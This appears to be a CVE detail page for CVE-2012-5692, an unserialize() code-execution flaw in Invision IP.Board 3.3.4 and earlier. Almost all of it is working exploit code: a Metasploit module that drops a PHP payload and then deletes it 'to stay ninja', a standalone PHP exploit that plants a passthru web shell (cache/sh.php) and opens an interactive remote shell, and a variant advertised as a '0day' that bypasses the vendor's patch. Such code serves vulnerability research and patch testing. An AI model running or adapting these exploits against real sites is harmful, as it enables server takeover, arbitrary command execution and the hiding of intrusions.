CVE-2012-5692 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Invision IP.Board <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the webserver user. The dangerous unserialize() exists in the '/admin/sources/base/core.php' script, which is called with user controlled data from the cookie. The exploit abuses the __destruct() method from the dbMain class to write arbitrary PHP code to a file on the Invision IP.Board web directory. The exploit has been tested successfully on Invision IP.Board 3.3.4. }, 'Author' => [ 'EgiX', # Vulnerability discovery and PoC 'juan vazquez', # Metasploit module 'sinn3r' # PhpEXE tekniq & check() method ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-5692' ], [ 'OSVDB', '86702' ], [ 'BID', '56288' ], [ 'EDB', '22398' ], [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 8000, #Apache's limit for GET 'DisableNops' => true }, 'Targets' => [ ['Invision IP.Board 3.3.4', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 25 2012' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"]) ], self.class) end def base base = target_uri.path base << '/' if base[-1, 1] != '/' return base end def check res = send_request_raw({'uri'=>"#{base}index.php"}) return Exploit::CheckCode::Unknown if not res version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten version = version.map {|e| e.to_i} # We only want major version 3 # This version checking is based on OSVDB's info return Exploit::CheckCode::Safe if version[0] != 3 case version[1] when 1 return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4) when 2 return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3) when 3 return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4) end return Exploit::CheckCode::Safe end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin print_warning("#{@peer} - Deleting #{@upload_php}") client.fs.file.rm(@upload_php) print_good("#{@peer} - #{@upload_php} removed to stay ninja") rescue print_error("#{@peer} - Unable to remove #{f}") end end end def exploit @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" # get_write_exec_payload uses a function, which limits our ability to support # Linux payloads, because that requires a space: # function my_cmd # becomes: # functionmy_cmd #Causes parsing error # We'll have to address that in the mixin, and then come back to this module # again later. php_payload = get_write_exec_payload(:unlink_self=>true) php_payload = php_payload.gsub(/^\<\?php/, '<?') php_payload = php_payload.gsub(/ /,'') db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}" print_status("#{@peer} - Exploiting the unserialize() to upload PHP code") res = send_request_cgi( { 'uri' => "#{base}index.php?#{php_payload}", 'method' => 'GET', 'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}" }) if not res or res.code != 200 print_error("#{@peer} - Exploit failed: #{res.code}") return end print_status("#{@peer} - Executing the payload #{@upload_php}") res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"}) if res print_error("#{@peer} - Payload execution failed: #{res.code}") return end end end

<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }

<?php /* So this is the patch that sanitizes, static public function safeUnserialize( $serialized ) { // unserialize will return false for object declared with small cap o // as well as if there is any ws between O and : if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false ) { if ( strpos( $serialized, 'O:' ) === false ) { // the easy case, nothing to worry about // let unserialize do the job return @unserialize( $serialized ); } else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) ) { // in case we did have a string with O: in it, // but it was not a true serialized object return @unserialize( $serialized ); } } return false; } And this is what bypasses it ( By @i0n1c ) $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); Which makes this an IPB 0day. lulz! - webDEViL */ /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+-----------------------------------+"; print "\n| Invision Power Board 0day Exploit |"; print "\n+-----------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } # Super bypass by @i0n1c $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>